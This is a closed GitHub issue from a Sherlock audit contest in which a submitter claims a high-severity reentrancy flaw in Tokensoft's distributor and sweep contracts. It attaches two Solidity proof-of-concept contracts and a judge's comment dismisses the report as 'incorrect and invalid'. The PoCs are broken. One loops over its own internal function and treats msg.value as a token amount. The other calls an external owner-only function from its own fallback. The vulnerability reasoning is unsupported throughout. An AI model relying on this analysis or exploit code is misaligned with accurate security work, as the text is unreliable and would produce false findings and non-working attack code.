sherlock-audit / 2024-05-tokensoft-distributor-contracts-update-judging

2 stars 1 forks source link

Quisex - Token Soft Audit #6

Closed sherlock-admin4 closed 1 month ago

sherlock-admin4 commented 1 month ago

Quisex

high

Token Soft Audit

Summary I found two separate cases in the code that could be potential vulnerable to an Reentrancy Attack.

Vulnerability Detail Reentrancy allows an hacker to repeatedly withdraw funds from a smart contract and transfers them to an unauthorized contract until the funds have been exhausted.

Impact High

Code Snippet Contract: DistributorInitializable.sol #90:4

POC: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;

import "./YourToken.sol";

contract ReentrancyPoC { YourToken public token; // Assuming YourToken is the token contract

constructor(address _tokenAddress) {
    token = YourToken(_tokenAddress);
}

function _settleClaim(address _recipient, uint256 _amount) internal virtual {
    token.safeTransfer(_recipient, _amount);
    emit Claim(_recipient, _amount);
}

event Claim(address recipient, uint256 amount);

// Function to exploit reentrancy vulnerability
function exploit(address _recipient, uint256 _amount) external {
    // Call _settleClaim in a loop to trigger reentrancy
    for (uint256 i = 0; i < 10; i++) {
        // This contract is the attacker contract
        // Before calling _settleClaim, this contract's fallback function is called
        // This allows the attacker to re-enter this function multiple times
        _settleClaim(_recipient, _amount);
    }
}

// Fallback function to exploit reentrancy
fallback() external payable {
    // Call _settleClaim in the fallback function
    // This will trigger reentrancy because _settleClaim transfers tokens before emitting an event
    _settleClaim(msg.sender, msg.value);
}

}

Sweepable.sol Contract #22-26 POC: // SPDX-License-Identifier: MIT pragma solidity ^0.8.0;

import "./IERC20.sol"; // Import the IERC20 interface

contract ReentrancyPoC { address public owner; address public recipient; bool public isSweeping;

// Define an event to log the token sweep
event SweepToken(address indexed token, uint256 amount);

constructor(address _recipient) {
    owner = msg.sender;
    recipient = _recipient;
}

// Modifier to restrict access to the owner
modifier onlyOwner() {
    require(msg.sender == owner, "Caller is not the owner");
    _;
}

// Function to sweep tokens from a given ERC20 contract
function sweepToken(IERC20 token) external onlyOwner {
    require(!isSweeping, "Sweeping already in progress");

    // Set the flag to indicate that sweeping is in progress
    isSweeping = true;

    // Get the balance of tokens held by this contract
    uint256 amount = token.balanceOf(address(this));

    // Transfer the tokens to the recipient address
    token.transfer(recipient, amount);

    // Log the token sweep event
    emit SweepToken(address(token), amount);

    // Reset the flag after sweeping is complete
    isSweeping = false;
}

// Fallback function to exploit reentrancy
fallback() external payable {
    // Check if sweeping is in progress
    require(isSweeping, "Sweeping not in progress");

    // Re-enter the sweepToken function recursively
    // This will exploit the reentrancy vulnerability
    sweepToken(IERC20(msg.sender));
}

}

Tool used Slither

Manual Review

Recommendation Could use an reentrancy guard to prevent it from happening.

Could add Boolean state variable _lock if true Add NoReentrancy Modifier Make sure Sweep token function can only be executed once per transaction.

sherlock-admin3 commented 1 month ago

1 comment(s) were left on this issue during the judging contest.

_karanel commented:

incorrect and invalid.